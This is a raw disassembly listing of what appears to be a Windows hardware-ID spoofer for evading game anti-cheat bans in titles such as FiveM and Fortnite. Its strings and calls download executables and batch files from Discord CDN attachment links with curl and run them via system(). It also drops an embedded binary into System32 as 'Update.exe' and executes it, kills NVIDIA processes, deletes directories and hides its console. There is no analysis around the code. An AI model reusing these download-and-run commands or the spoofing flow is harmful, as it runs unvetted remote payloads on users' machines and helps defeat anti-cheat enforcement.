mov rcx, rax
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, [rbp + 0x50]
call fcn.140031420
lea rcx, [rbp + 0x90]
call fcn.140031420
lea rcx, [rbp + 0xe0]
call fcn.140031420
lea rcx, [rbp - 0x80]
call fcn.140031420
lea rcx, [rbp - 0x58]
call fcn.140031420
lea rcx, [rbp - 0x58]
call fcn.1400472b0
lea rcx, [rbp - 0x80]
mov rbx, rax
call fcn.1400472b0
lea r14, str.C:WindowsSystem32_vdfjdisfudasu.exe_E:_
mov r8, rax
mov rdx, r14
lea rcx, [rbp + 0xe0]
call fcn.140063d40
mov rdx, rax
lea r8, [0x140170d5c]
lea rcx, [rbp + 0x90]
call fcn.140063ff0
mov r8, rbx
lea rcx, [rbp + 0x50]
mov rdx, rax
call fcn.140064060
mov rcx, rax
call fcn.140031410
mov rcx, rax
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, [rbp + 0x50]
call fcn.140031420
lea rcx, [rbp + 0x90]
call fcn.140031420
lea rcx, [rbp + 0xe0]
call fcn.140031420
lea rcx, [rbp - 0x80]
call fcn.140031420
lea rcx, [rbp - 0x58]
call fcn.140031420
call fcn.140047770
lea rcx, str.curl_https:__cdn.discordapp.com_attachments_1201050423356829808_1201074906788532224_mac.bat___output_C:Usersmac.bat__nul_2_1
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.curl_https:__cdn.discordapp.com_attachments_1198365905843933185_1201047362332798996_nprojecto.exe___output_C:Users_nprojecto.exe__nul_2_1
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.curl_https:__cdn.discordapp.com_attachments_1254900915438358680_1274242997457911868_Scripthook_bypass.exe_ex66c18ac4is66c03944hm4f0d5b92c7ddc52ec7b5b725ed4dcaa584d9ca7f049888272380dc589790b2b4___output_C:UsersScripthook_bypass.exe__nul_2_1
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.curl_https:__cdn.discordapp.com_attachments_1254900915438358680_1274243720862236682_FiveM_Cleanerino1.bat_ex66c18b71is66c039f1hmac995e8826b3a9c770cc392124aa0745b65631529750567ea399de0b1f3395f5___output_C:UsersFiveM_Cleanerino1.bat__nul_2_1
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.C:Usersmac.bat
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.C:UsersScripthook_bypass.exe
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.C:Users_nprojecto.exe
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.C:UsersFiveM_Cleanerino1.bat
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.TASKKILL__F__IM_nvcontainer.exe
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.TASKKILL__F__IM_nvsphelper64.exe
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.TASKKILL__F__IM_NVIDIA___Share.exe
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.TASKKILL__F__IM_NVIDIA___Web___Helper.exe
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.cd_C:Users_username_AppDataLocalNVIDIA_Corporation
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.rmdir__s__q_NvNode
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
call fcn.1400413f0
call fcn.140058180
jmp 0x14005d4d1
lea rdi, str.C:WindowsSystem32_vdfjdisfudasu.exe_D:_
lea r14, str.C:WindowsSystem32_vdfjdisfudasu.exe_E:_
cmp byte [0x14039a0c5], 0
je 0x14005d7c3
lea rdx, str.C:WindowsSystem32_vdfjdisfudasu.exe
lea rcx, [rbp - 0x80]
call fcn.140031480
mov r8d, 0x390a8
lea rdx, [0x1402271a0]
lea rcx, [rbp - 0x80]
call fcn.140047440
lea rcx, [rbp - 0x80]
call fcn.140031420
lea rcx, [rbp - 0x58]
call fcn.1400472b0
lea rcx, [rbp - 0x80]
mov rbx, rax
call fcn.1400472b0
mov r8, rax
lea rdx, str.C:WindowsSystem32_vdfjdisfudasu.exe_C:_
lea rcx, [rbp + 0xe0]
call fcn.140063d40
mov rdx, rax
lea r8, [0x140170d5c]
lea rcx, [rbp + 0x90]
call fcn.140063ff0
mov r8, rbx
lea rcx, [rbp + 0x50]
mov rdx, rax
call fcn.140064060
mov rcx, rax
call fcn.140031410
mov rcx, rax
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, [rbp + 0x50]
call fcn.140031420
lea rcx, [rbp + 0x90]
call fcn.140031420
lea rcx, [rbp + 0xe0]
call fcn.140031420
lea rcx, [rbp - 0x80]
call fcn.140031420
lea rcx, [rbp - 0x58]
call fcn.140031420
lea rcx, [rbp - 0x58]
call fcn.1400472b0
lea rcx, [rbp - 0x80]
mov rbx, rax
call fcn.1400472b0
mov r8, rax
lea rcx, [rbp + 0xe0]
mov rdx, rdi
call fcn.140063d40
mov rdx, rax
lea r8, [0x140170d5c]
lea rcx, [rbp + 0x90]
call fcn.140063ff0
mov r8, rbx
lea rcx, [rbp + 0x50]
mov rdx, rax
call fcn.140064060
mov rcx, rax
call fcn.140031410
mov rcx, rax
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, [rbp + 0x50]
call fcn.140031420
lea rcx, [rbp + 0x90]
call fcn.140031420
lea rcx, [rbp + 0xe0]
call fcn.140031420
lea rcx, [rbp - 0x80]
call fcn.140031420
lea rcx, [rbp - 0x58]
call fcn.140031420
lea rcx, [rbp - 0x58]
call fcn.1400472b0
lea rcx, [rbp - 0x80]
mov rbx, rax
call fcn.1400472b0
mov r8, rax
lea rcx, [rbp + 0xe0]
mov rdx, r14
call fcn.140063d40
mov rdx, rax
lea r8, [0x140170d5c]
lea rcx, [rbp + 0x90]
call fcn.140063ff0
mov r8, rbx
lea rcx, [rbp + 0x50]
mov rdx, rax
call fcn.140064060
mov rcx, rax
call fcn.140031410
mov rcx, rax
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, [rbp + 0x50]
call fcn.140031420
lea rcx, [rbp + 0x90]
call fcn.140031420
lea rcx, [rbp + 0xe0]
call fcn.140031420
lea rcx, [rbp - 0x80]
call fcn.140031420
lea rcx, [rbp - 0x58]
call fcn.140031420
lea rcx, str.curl_https:__cdn.discordapp.com_attachments_1201050423356829808_1201074906788532224_mac.bat___output_C:Usersmac.bat__nul_2_1
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.curl_https:__cdn.discordapp.com_attachments_1198365905843933185_1201047362332798996_nprojecto.exe___output_C:Users_nprojecto.exe__nul_2_1
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.C:Users_nprojecto.exe
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.C:Usersmac.bat
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.TASKKILL__F__IM_nvcontainer.exe
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.TASKKILL__F__IM_nvsphelper64.exe
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.TASKKILL__F__IM_NVIDIA___Share.exe
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.TASKKILL__F__IM_NVIDIA___Web___Helper.exe
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.cd_C:Users_username_AppDataLocalNVIDIA_Corporation
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.rmdir__s__q_NvNode
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
call fcn.14004dbb0
call fcn.140058180
call fcn.1400413f0
lea r14, [0x14039a240]
mov rbx, r14
lea rdi, [0x14039a500]
nop dword [rax]
nop word [rax + rax]
lea rcx, [rbp - 0x10]
mov dword [rbp - 0x10], 0x736c63
mov byte [rbp - 0xc], 0
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
cmp qword [rbx + 0x18], 0xf
mov rcx, rbx
jbe 0x14005d792
mov rcx, qword [rbx]
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, [rbp - 0xb]
mov dword [rbp - 0xb], 0x736c63
mov byte [rbp - 7], 0
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
mov ecx, 0xfa
call qword [sym.imp.KERNEL32.dll_Sleep]
add rbx, 0x20
cmp rbx, rdi
jl 0x14005d770
jmp 0x14005d7d1
lea rdi, [0x14039a500]
lea r14, [0x14039a240]
cmp byte [0x14039a0c4], 0
je 0x14005d81c
lea rdx, [rbp - 0x80]
call fcn.140060410
mov r8d, 0x60a00
lea rdx, str.MZS__A
lea rcx, [rbp - 0x80]
call fcn.140047440
lea rcx, [rbp - 0x80]
call fcn.140031420
lea rcx, str.C:WindowsSystem32Update.exe
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.C:WindowsSystem32Update.exe
call qword [sym.imp.api_ms_win_crt_filesystem_l1_1_0.dll_remove]
cmp byte [0x14039a0d3], 0
je 0x14005d951
call qword [sym.imp.KERNEL32.dll_GetConsoleWindow]
mov rcx, rax
xor edx, edx
call qword [sym.imp.USER32.dll_ShowWindow]
lea rdx, [rbp - 0x80]
call fcn.140060320
mov r8d, 0x5e670
lea rdx, [0x140332880]
lea rcx, [rbp - 0x80]
call fcn.140047440
lea rcx, [rbp - 0x80]
call fcn.140031420
lea rdx, [rbp - 0x80]
call fcn.140060230
mov r8d, 0x7180
lea rdx, [0x140390f20]
lea rcx, [rbp - 0x80]
call fcn.140047440
lea rcx, [rbp - 0x80]
call fcn.140031420
lea rdx, [rbp - 0x80]
call fcn.140060140
mov r8d, 0x8788
lea rdx, [0x140316e50]
lea rcx, [rbp - 0x80]
call fcn.140047440
lea rcx, [rbp - 0x80]
call fcn.140031420
lea rcx, str.curl_https:__cdn.discordapp.com_attachments_1198365905843933185_1198799358058053644_AmiSpoof.bat___output_C:UsersAmiSpoof.bat__nul_2_1
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.C:UsersAMIDEWINx64.EXE
call qword [sym.imp.api_ms_win_crt_filesystem_l1_1_0.dll_remove]
lea rcx, str.C:Users_amigendrv64.sys
call qword [sym.imp.api_ms_win_crt_filesystem_l1_1_0.dll_remove]
lea rcx, str.C:Users_amifldrv64.exe
call qword [sym.imp.api_ms_win_crt_filesystem_l1_1_0.dll_remove]
lea rcx, str.C:UsersAmiSpoof.bat
call qword [sym.imp.api_ms_win_crt_filesystem_l1_1_0.dll_remove]
call fcn.1400413f0
mov rbx, r14
nop dword [rax + rax]
lea rcx, [rbp - 6]
mov dword [rbp - 6], 0x736c63
mov byte [rbp - 2], 0
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
cmp qword [rbx + 0x18], 0xf
mov rcx, rbx
jbe 0x14005d922
mov rcx, qword [rbx]
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, [rbp - 1]
mov dword [rbp - 1], 0x736c63
mov byte [rbp + 3], 0
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
mov ecx, 0xfa
call qword [sym.imp.KERNEL32.dll_Sleep]
add rbx, 0x20
cmp rbx, rdi
jl 0x14005d900
cmp byte [0x14039a0d5], 0
jne 0x14005ee81
cmp byte [0x14039a0c6], 0
je 0x14005d9e0
call fcn.14004dbb0
mov rbx, r14
nop
lea rcx, [rbp + 4]
mov dword [rbp + 4], 0x736c63
mov byte [rbp + 8], 0
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
cmp qword [rbx + 0x18], 0xf
mov rcx, rbx
jbe 0x14005d992
mov rcx, qword [rbx]
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, [rbp + 9]
mov dword [rbp + 9], 0x736c63
mov byte [rbp + 0xd], 0
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
mov ecx, 0xfa
call qword [sym.imp.KERNEL32.dll_Sleep]
add rbx, 0x20
cmp rbx, rdi
jl 0x14005d970
lea rcx, str.curl_https:__cdn.discordapp.com_attachments_1254900915438358680_1274243720862236682_FiveM_Cleanerino1.bat_ex66c18b71is66c039f1hmac995e8826b3a9c770cc392124aa0745b65631529750567ea399de0b1f3395f5___output_C:UsersRemove_Trace__Clean.bat__nul_2_1
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.C:UsersFiveM_Cleanerino1.bat
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
call fcn.1400413f0
call fcn.14002e100
movaps xmm1, xmm15
movaps xmm0, xmm12
call fcn.140018060
movss xmm4, dword [0x140398ce0]
lea r8, [rbp + 0x198]
movss xmm0, dword [0x140398ce4]
subss xmm4, xmm10
subss xmm0, xmm6
mov dword [rbp + 0x198], 0x41900000
movzx r9d, r12b
mov dword [rbp + 0x19c], 0x41900000
lea rdx, [rbp + 0x1a0]
lea rcx, str.Container2
mulss xmm4, xmm13
movss dword [rbp + 0x1a4], xmm0
movss dword [rbp + 0x1a0], xmm4
call fcn.14002dc10
lea rdx, [0x14039a0d4]
lea rcx, str.SPOOF_ALL
call fcn.140030850
call fcn.140030380
lea rdx, [0x14039a0c5]
lea rcx, str.SPOOF_ASUS
call fcn.140030850
call fcn.140030380
lea rdx, [0x14039a0c4]
lea rcx, str.TPM_CLEANER
call fcn.140030850
call fcn.140030380
lea rdx, [0x14039a0d3]
lea rcx, str.FORTNITE_SPOOF
call fcn.140030850
call fcn.140030380
lea rdx, [0x14039a0d5]
lea rcx, str.EFI_SPOOFER
call fcn.140030850
call fcn.140030380
lea rdx, [0x14039a0c6]
lea rcx, str.FIVEM_SPOOFER
call fcn.140030850
mov rcx, qword [0x140399fa0]
mov rax, qword [rcx + 0x4038]
movss xmm1, dword [rax + 0x114]
subss xmm1, dword [rax + 0x2c]
addss xmm1, dword [rax + 0x90]
mov byte [rax + 0xc0], r12b
mov rax, qword [rcx + 0x4038]
addss xmm1, dword [0x140177be4]
movss xmm0, dword [rax + 0x2c]
subss xmm0, dword [rax + 0x90]
mov byte [rax + 0x151], r12b
addss xmm0, xmm1
movss dword [rax + 0x114], xmm0
call fcn.14002e100
movss xmm7, dword [0x140177bbc]
movss xmm8, dword [0x140177b74]
mov ecx, r12d
call fcn.140006520
mov rcx, qword [0x140399fa0]
lea rdx, [rbp + 0x1e8]
movss xmm2, dword [0x140398ce0]
subss xmm2, dword [0x140177c18]
mov dword [rbp + 0x1e8], 0x42480000
mov rax, qword [rcx + 0x4038]
mov dword [rbp + 0x1ec], 0x42480000
mov byte [rax + 0xc0], r12b
mov rax, qword [rcx + 0x4038]
movss xmm0, dword [rax + 0x28]
movss xmm1, dword [rax + 0x2c]
subss xmm0, dword [rax + 0x8c]
subss xmm1, dword [rax + 0x90]
mov byte [rax + 0x151], r12b
addss xmm2, xmm0
addss xmm1, xmm12
movss dword [rax + 0x110], xmm2
movss dword [rax + 0x114], xmm1
call fcn.14002f630
test al, al
je 0x14005dbf5
mov rcx, qword [0x14039a000]
xor edx, edx
call qword [sym.imp.USER32.dll_ShowWindow]
xor ecx, ecx
call qword [sym.imp.USER32.dll_PostQuitMessage]
movss xmm1, dword [0x14039aa8c]
lea rcx, [rbp - 0x30]
movss xmm0, dword [0x14039aa88]
mov rax, qword [0x140399fa0]
movss dword [rbp - 0x2c], xmm1
movss dword [rbp - 0x30], xmm0
movss xmm0, dword [0x14039aa90]
movss xmm1, dword [rax + 0x38f0]
mulss xmm1, dword [0x140177b2c]
movss dword [rbp - 0x28], xmm0
mulss xmm1, dword [0x14039aa94]
movss dword [rbp - 0x24], xmm1
call fcn.140005e60
mov ecx, eax
call fcn.140057240
mov rcx, qword [0x140399fa0]
lea rdx, [rbp - 0x58]
mov rax, qword [rcx + 0x4038]
mov byte [rax + 0xc0], r12b
mov rax, qword [rcx + 0x4038]
movss xmm0, dword [rax + 0x2c]
subss xmm0, dword [rax + 0x90]
movss xmm1, dword [rax + 0x28]
subss xmm1, dword [rax + 0x8c]
mov byte [rax + 0x151], r12b
addss xmm0, xmm12
addss xmm1, xmm12
movss dword [rax + 0x114], xmm0
movsd xmm0, qword [0x140398ce0]
movsd qword [rbp - 0x58], xmm0
movss dword [rax + 0x110], xmm1
call fcn.140037270
mov rax, qword [0x140399fa0]
mov ecx, dword [rax + 0x409c]
test ecx, ecx
je 0x14005dd67
cmp ecx, dword [rax + 0x49a8]
jne 0x14005dd67
mov rcx, qword [0x14039a000]
lea rdx, [0x14039a028]
call qword [sym.imp.USER32.dll_GetWindowRect]
cvttss2si edi, dword [0x140398ce4]
lea rcx, [rbp + 0x400]
cvttss2si esi, dword [0x140398ce0]
movaps xmm2, xmm11
call fcn.140015370
movd xmm0, dword [0x14039a02c]
lea rcx, [rbp + 0x1f8]
cvtdq2ps xmm0, xmm0
movaps xmm2, xmm11
addss xmm0, dword [rax + 4]
cvttss2si ebx, xmm0
call fcn.140015370
mov r9d, esi
mov rcx, qword [0x14039a000]
mov r8d, ebx
mov dword [rsp + 0x28], r12d
mov dword [rsp + 0x20], edi
movd xmm0, dword [0x14039a028]
cvtdq2ps xmm0, xmm0
addss xmm0, dword [rax]
cvttss2si edx, xmm0
call qword [sym.imp.USER32.dll_MoveWindow]
xor esi, esi
call fcn.140013250
call fcn.14000d060
mov rcx, qword [0x14039a998]
xor r8d, r8d
mov edx, 7
mov rax, qword [rcx]
call qword [rax + 0x1c8]
mov rcx, qword [0x14039a998]
xor r8d, r8d
mov edx, reloc.WLDAP32.dll_Ordinal_27
mov rax, qword [rcx]
call qword [rax + 0x1c8]
mov rcx, qword [0x14039a998]
xor r8d, r8d
mov edx, 0xae
mov rax, qword [rcx]
call qword [rax + 0x1c8]
mov rcx, qword [0x14039a998]
mov r9d, 3
movss xmm6, dword [0x140177b7c]
xor r8d, r8d
mov dword [rsp + 0x30], esi
xor edx, edx
movss dword [rsp + 0x28], xmm6
mov rax, qword [rcx]
mov dword [rsp + 0x20], 0xff728c99
call qword [rax + 0x158]
mov rcx, qword [0x14039a998]
mov rax, qword [rcx]
call qword [rax + 0x148]
test eax, eax
js 0x14005de61
call fcn.14000d060
mov rbx, qword [0x140399fa0]
cmp dword [rbx + 0x4af8], 0
jg 0x14005de31
mov r8d, 0x76a
lea rdx, [0x140164ce0]
lea rcx, str.i___0__i___Size
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__wassert]
mov rax, qword [rbx + 0x4b00]
mov rcx, qword [rax]
mov rax, rsi
add rcx, 0x48
cmp byte [rcx], 0
cmovne rax, rcx
mov rcx, rax
call fcn.14003e250
mov rcx, qword [0x14039a998]
mov rax, qword [rcx]
call qword [rax + 0x150]
mov rcx, qword [0x14039a998]
xor r9d, r9d
xor r8d, r8d
mov qword [rsp + 0x20], rsi
xor edx, edx
mov rax, qword [rcx]
call qword [rax + 0x88]
cmp eax, 0x88760868
jne 0x14005b7d0
mov rcx, qword [0x14039a998]
mov rax, qword [rcx]
call qword [rax + Ordinal_26]
cmp eax, 0x88760869
jne 0x14005b7d0
call fcn.14003eaf0
mov rcx, qword [0x14039a998]
lea rdx, [0x14039a9a0]
mov rax, qword [rcx]
call qword [rax + 0x80]
cmp eax, 0x8876086c
jne 0x14005dede
mov r8d, 0x81d
lea rdx, str.C:UsersgaminOneDriveDesktopgrey_spoofer_imgui_fixedexamplesexample_win32_directx9main.cpp
lea rcx, [0x140164ed0]
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__wassert]
mov rax, qword [0x140399fa0]
test rax, rax
je 0x14005b7d0
mov rcx, qword [rax + 0x98]
test rcx, rcx
je 0x14005b7d0
cmp qword [rcx], 0
je 0x14005b7d0
call fcn.14003e880
jmp 0x14005b7d0
cmp eax, 2
jne 0x14005db3b
movss xmm0, dword [0x140398ce0]
lea r8, [rbp + 0x1a8]
movss xmm1, dword [0x140398ce4]
lea rdx, [rbp + 0x1b0]
subss xmm0, dword [0x140177c44]
subss xmm1, dword [0x140177c28]
movzx r9d, r12b
mov dword [rbp + 0x1a8], 0x41200000
lea rcx, str.Container1
mov dword [rbp + 0x1ac], 0x41200000
movss dword [rbp + 0x1b0], xmm0
movss dword [rbp + 0x1b4], xmm1
call fcn.14002dc10
mov rax, qword [0x14039a848]
mov rdx, qword [0x14039a840]
movss xmm7, dword [0x140177bbc]
sub rax, rdx
sar rax, 6
test rax, rax
je 0x14005e247
movdqa xmm6, xmmword [0x140177eb0]
xor r14d, r14d
mov edi, r14d
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
lea rbx, [rdi + rdx]
lea rdx, str._n_name:
call fcn.140063b70
cmp qword [rbx + 0x18], 0xf
mov rdx, rbx
jbe 0x14005dfd5
mov rdx, qword [rbx]
mov r8, qword [rbx + 0x10]
mov rcx, rax
call fcn.1400667e0
lea rdx, [rbx + 0x20]
lea rcx, [rbp + 0x50]
call fcn.140062610
mov rcx, rax
call fcn.140046ea0
lea rdx, [rbp + 0x2f8]
mov qword [rbp + 0x2f8], rax
lea rcx, [rbp + 0x90]
call qword [sym.imp.api_ms_win_crt_time_l1_1_0.dll__localtime64_s]
movups xmm0, xmmword [rbp + 0x90]
mov eax, dword [rbp + 0xb0]
lea r9, [rbp + 0xe0]
movups xmm1, xmmword [rbp + 0xa0]
lea r8, str._a__m__d__y__H:_M:_S__Z
mov edx, 0x50
lea rcx, [rbp + 0x360]
movaps xmmword [rbp + 0xe0], xmm0
movaps xmmword [rbp + 0xf0], xmm1
mov dword [rbp + 0x100], eax
call qword [sym.imp.api_ms_win_crt_time_l1_1_0.dll_strftime]
xorps xmm0, xmm0
mov qword [rbp - 0x48], r14
movups xmmword [rbp - 0x58], xmm0
mov qword [rbp - 0x40], r14
lea rax, [rbp + 0x360]
mov r8, r13
inc r8
cmp byte [rax + r8], r14b
jne 0x14005e072
lea rdx, [rbp + 0x360]
lea rcx, [rbp - 0x58]
call fcn.140031520
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
lea rdx, str._:_expiry:
call fcn.140063b70
cmp qword [rbp - 0x40], 0xf
lea rdx, [rbp - 0x58]
mov r8, qword [rbp - 0x48]
mov rcx, rax
cmova rdx, qword [rbp - 0x58]
call fcn.1400667e0
mov rdx, qword [rbp - 0x40]
cmp rdx, 0xf
jbe 0x14005e0f3
mov rcx, qword [rbp - 0x58]
inc rdx
mov rax, rcx
cmp rdx, 0x1000
jb 0x14005e0ee
mov rcx, qword [rcx - 8]
add rdx, 0x27
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14005feab
call fcn.140134800
lea rdx, str.Expira_em_:
lea rcx, [rbp - 0x58]
movups xmmword [rbp - 0x58], xmm10
call fcn.140036a40
movaps xmm1, xmm7
movaps xmm0, xmm12
call fcn.140018060
lea rcx, [rbp + 0x50]
lea rdx, [rbx + 0x20]
call fcn.140062610
mov rcx, rax
call fcn.140046ea0
lea rdx, [rbp + 0x300]
mov qword [rbp + 0x300], rax
lea rcx, [rbp + 0x90]
call qword [sym.imp.api_ms_win_crt_time_l1_1_0.dll__localtime64_s]
movups xmm0, xmmword [rbp + 0x90]
mov eax, dword [rbp + 0xb0]
lea r9, [rbp + 0xe0]
movups xmm1, xmmword [rbp + 0xa0]
lea r8, str._a__m__d__y__H:_M:_S__Z
mov edx, 0x50
lea rcx, [rbp + 0x360]
movaps xmmword [rbp + 0xe0], xmm0
movaps xmmword [rbp + 0xf0], xmm1
mov dword [rbp + 0x100], eax
call qword [sym.imp.api_ms_win_crt_time_l1_1_0.dll_strftime]
xorps xmm0, xmm0
mov qword [rbp - 0x70], r14
movups xmmword [rbp - 0x80], xmm0
mov qword [rbp - 0x68], r14
lea rax, [rbp + 0x360]
mov r8, r13
inc r8
cmp byte [rax + r8], r14b
jne 0x14005e1a5
lea rdx, [rbp + 0x360]
lea rcx, [rbp - 0x80]
call fcn.140031520
cmp qword [rbp - 0x68], 0xf
lea r8, [rbp - 0x80]
lea rdx, [0x140169ec8]
cmova r8, qword [rbp - 0x80]
lea rcx, [rbp - 0x58]
movups xmmword [rbp - 0x58], xmm6
call fcn.140036a40
mov rdx, qword [rbp - 0x68]
cmp rdx, 0xf
jbe 0x14005e21b
mov rcx, qword [rbp - 0x80]
inc rdx
mov rax, rcx
cmp rdx, 0x1000
jb 0x14005e216
mov rcx, qword [rcx - 8]
add rdx, 0x27
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14005feb2
call fcn.140134800
call fcn.140030380
mov rcx, qword [0x14039a848]
inc esi
mov rdx, qword [0x14039a840]
add rdi, 0x40
sub rcx, rdx
movsxd rax, esi
sar rcx, 6
cmp rax, rcx
jb 0x14005dfb1
lea rdx, str.IP_address_:
lea rcx, [rbp - 0x58]
movups xmmword [rbp - 0x58], xmm10
call fcn.140036a40
movaps xmm1, xmm7
movaps xmm0, xmm12
call fcn.140018060
movdqa xmm0, xmmword [0x140177eb0]
lea r8, [rbp - 0x80]
movaps xmm1, xmmword [0x14039a7d0]
lea rdx, [0x140169ec8]
movups xmmword [rbp - 0x58], xmm0
lea rcx, [rbp - 0x58]
movaps xmm0, xmmword [0x14039a7c0]
movaps xmmword [rbp - 0x80], xmm0
movaps xmmword [rbp - 0x70], xmm1
call fcn.140036a40
call fcn.140030380
call fcn.14002e100
xor esi, esi
jmp 0x14005db43
cmp ecx, 3
jne 0x14005db4c
mov r8, qword [0x140399fa0]
test r8, r8
jne 0x14005e2eb
mov r8d, 0x10d9
lea rdx, str.C:UsersgaminOneDriveDesktopgrey_spoofer_imgui_fixedimgui.cpp
lea rcx, str.GImGui___0___No_current_context._Did_you_call_ImGui::CreateContext___and_ImGui::SetCurrentContext_____
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__wassert]
mov ecx, dword [0x14039aa1c]
mov r8, qword [0x140399fa0]
movss xmm1, dword [r8 + 0x18]
mulss xmm1, dword [0x140177bac]
cmp ecx, 3
jne 0x14005e308
movss xmm6, dword [0x140177c4c]
jmp 0x14005e30c
movaps xmm6, xmm12
subss xmm6, dword [0x14039a9f4]
mov rax, qword [r8 + 0x4038]
lea rcx, [rbp + 0x288]
mov byte [rax + 0xc0], r12b
movss xmm0, dword [0x14039aa88]
mov rax, qword [r8 + 0x4038]
mulss xmm6, xmm1
movss xmm1, dword [0x14039aa8c]
mov rbx, qword [rax + 0x2a8]
addss xmm6, dword [0x14039a9f4]
movss dword [rbp + 0x28c], xmm1
movss xmm1, dword [r8 + 0x38f0]
mulss xmm1, dword [0x140177b38]
movss dword [rbp + 0x288], xmm0
movss xmm0, dword [0x14039aa90]
mulss xmm1, dword [0x14039aa94]
movss dword [0x14039a9f4], xmm6
movss dword [rbp + 0x290], xmm0
movss dword [rbp + 0x294], xmm1
call fcn.140005e60
movss xmm7, dword [0x140398ce0]
mov edi, eax
movss xmm8, dword [0x140398ce4]
movaps xmm0, xmm7
movss xmm9, dword [rbp + 0x30]
movaps xmm1, xmm8
movss xmm10, dword [rbp + 0x34]
mulss xmm0, xmm13
mulss xmm1, xmm13
addss xmm0, xmm9
addss xmm1, xmm10
movss dword [rbp + 0x1b8], xmm0
movss dword [rbp + 0x1bc], xmm1
test eax, 0xff000000
je 0x14005e47d
comiss xmm13, xmm6
ja 0x14005e47d
movss xmm0, dword [0x140177bcc]
subss xmm6, xmm13
mov dword [rsp + 0x28], 0x63
lea rdx, [rbp + 0x1b8]
movaps xmm3, xmm12
movss dword [rsp + 0x20], xmm0
mov rcx, rbx
movaps xmm2, xmm6
call fcn.140025a20
movss xmm0, dword [0x140177bb4]
mov r9d, edi
mov r8d, dword [rbx + 0x78]
mov rcx, rbx
mov rdx, qword [rbx + 0x80]
movss dword [rsp + 0x28], xmm0
mov dword [rsp + 0x20], r12d
call fcn.140024030
mov r8, qword [0x140399fa0]
movss xmm8, dword [0x140398ce4]
movss xmm7, dword [0x140398ce0]
movss xmm6, dword [0x14039a9f4]
mov dword [rbx + 0x78], esi
mov rax, qword [r8 + 0x4038]
lea rcx, [rbp + 0x298]
mov byte [rax + 0xc0], r12b
movss xmm1, dword [0x14039aa8c]
movss xmm0, dword [0x14039aa88]
mov rax, qword [r8 + 0x4038]
movss dword [rbp + 0x29c], xmm1
movss xmm1, dword [r8 + 0x38f0]
mulss xmm1, dword [0x140177b48]
mov rbx, qword [rax + 0x2a8]
movss dword [rbp + 0x298], xmm0
movss xmm0, dword [0x14039aa90]
mulss xmm1, dword [0x14039aa94]
movss dword [rbp + 0x2a0], xmm0
movss dword [rbp + 0x2a4], xmm1
call fcn.140005e60
movaps xmm0, xmm7
movaps xmm1, xmm8
mulss xmm0, xmm13
movaps xmm2, xmm6
mov edi, eax
mulss xmm2, dword [0x140177b98]
mulss xmm1, xmm13
addss xmm0, xmm9
addss xmm1, xmm10
movss dword [rbp + 0x1c0], xmm0
movss dword [rbp + 0x1c4], xmm1
test eax, 0xff000000
